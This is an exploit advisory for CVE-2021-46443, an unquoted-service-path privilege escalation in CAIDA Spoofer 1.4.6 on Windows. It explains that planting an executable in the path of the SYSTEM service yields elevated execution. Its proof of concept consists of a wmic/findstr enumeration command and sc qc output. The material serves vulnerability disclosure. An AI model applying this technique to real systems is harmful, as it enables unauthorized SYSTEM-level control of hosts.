# Exploit Title: Spoofer 1.4.6 – Local Privilege Escalation via Unquoted Service Path
# Date: 24/01/2022
# Exploit Author: Asim Sattar (@M_Asim_1)
# Vendor Homepage: https://www.caida.org/projects/spoofer/
# Software Link: https://www.caida.org/projects/spoofer/downloads/Spoofer-1.4.6-win32.exe
# Version: 1.4.6
# Tested: Windows 10 (x64)
# CVE: CVE-2021-46443
Description:
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Caida Spoofer 1.4.6 installs a service (spoofer-scheduler) with an unquoted
service path. Since this service is running as SYSTEM, this creates a local
privilege escalation vulnerability. To properly exploit this vulnerability,
a local attacker can insert an executable in the path of the service.
Rebooting the system or restarting the service will run the malicious
executable with elevated privileges.
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Proof of Concept:
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C:\Users\asim.sattar>wmic service get name,pathname,displayname,startmode |
findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """
Spoofer Scheduler spoofer-scheduler C:\Program Files
(x86)\Spoofer\spoofer-scheduler.exe Auto
C:\Users\asim.sattar>sc qc "spoofer-scheduler"
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: spoofer-scheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files
(x86)\Spoofer\spoofer-scheduler.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Spoofer Scheduler
DEPENDENCIES : tcpip
SERVICE_START_NAME : LocalSystem
Regards,
Asim Sattar